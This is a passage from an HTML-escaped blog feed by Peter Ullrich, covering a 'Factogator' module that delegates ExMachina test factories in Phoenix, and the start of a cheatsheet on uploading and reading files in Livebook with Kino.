&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:external_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- This uses the Factory for OtherApp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, how can we get there?&lt;/p&gt;
&lt;p&gt;The answer is: By creating a Factory Delegator!&lt;/p&gt;
&lt;p&gt;A Factory Delegator, or &quot;Factogator&quot; 🐊, delegates your &lt;code&gt;insert&lt;/code&gt; calls to the correct factory. Here&apos;s what it looks like:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Support.Factogator&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Support.Factories.MyApp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Support.Factories.OtherApp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;factory&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_factory&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;factory&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_pair&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;factory&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_factory&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;factory&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_pair&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_list&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;factory&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_factory&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;factory&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert_list&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;params_for&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;factory&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_factory&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;factory&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;params_for&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_factory&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;cond&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:own_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:external_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:other_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OtherApp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Factogator exposes the same functions as an ExMachina Factory and delegates any calls to the correct factory.&lt;/p&gt;
&lt;p&gt;Now, we can simply &lt;code&gt;import Support.Factogator&lt;/code&gt; in our &lt;code&gt;DataCase&lt;/code&gt; and write tests like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;see you later, factogator&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:own_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Delegated to the MyApp Factory&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:external_record&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# &lt;- Delegated to the OtherApp Factory&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/test-an-external-read-only-repository-in-phoenix"/>
    <id>https://peterullrich.com/test-an-external-read-only-repository-in-phoenix</id>
    <title>Test an external, read-only Repository in Phoenix</title>
    <updated>2023-11-11T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hello there (General Kenobi),&lt;/p&gt;
&lt;p&gt;it&apos;s been a while since the last blog post! Let me apologise with a ceremonial dad joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;I can tolerate algebra,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;maybe even a little calculus.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;But geometry is where I draw the line.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright then! Today&apos;s blog post is a very small cheatsheet for how to work with files in Livebook. Let&apos;s get started!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#upload&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;upload&quot;&gt;&lt;/a&gt;Upload&lt;/h2&gt;
&lt;p&gt;Here&apos;s a quick overview, the code is below:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/files_in_livebook/upload.png&quot; alt=&quot;A screenshot of a Livebook which shows the code mentioned below.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To upload a file to Livebook, you can use the &lt;code&gt;Kino.Input.file/1&lt;/code&gt; function. Simply create an Elixir code cell and add the function. Once you evaluate the code cell, Livebook will render a file uploader for you.&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Allow any kind of file upload&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Kino.Input&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Upload your file&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Only allow CSV files&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Kino.Input&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Upload your file&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;accept: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;w&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;.csv&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The uploaded file isn&apos;t a real &quot;file&quot; though, but only contains a reference to the upload. You always have to call &lt;code&gt;Kino.Input.read/1&lt;/code&gt; first to get any kind of data.&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Kino.Input&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;file_ref: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;:file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;fu6uuih3h3xbeteemfvmyliqqbufc4bn&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;client_name: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;file.csv&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, you have a reference to the file and its filename. You can read its contents like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Get the full filepath&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Kino.Input&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;file_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file_ref&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/var/folders/j9/long-string/T/livebook/sessions/long-string/registered_files/long-string&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Read the file contents&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;read!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
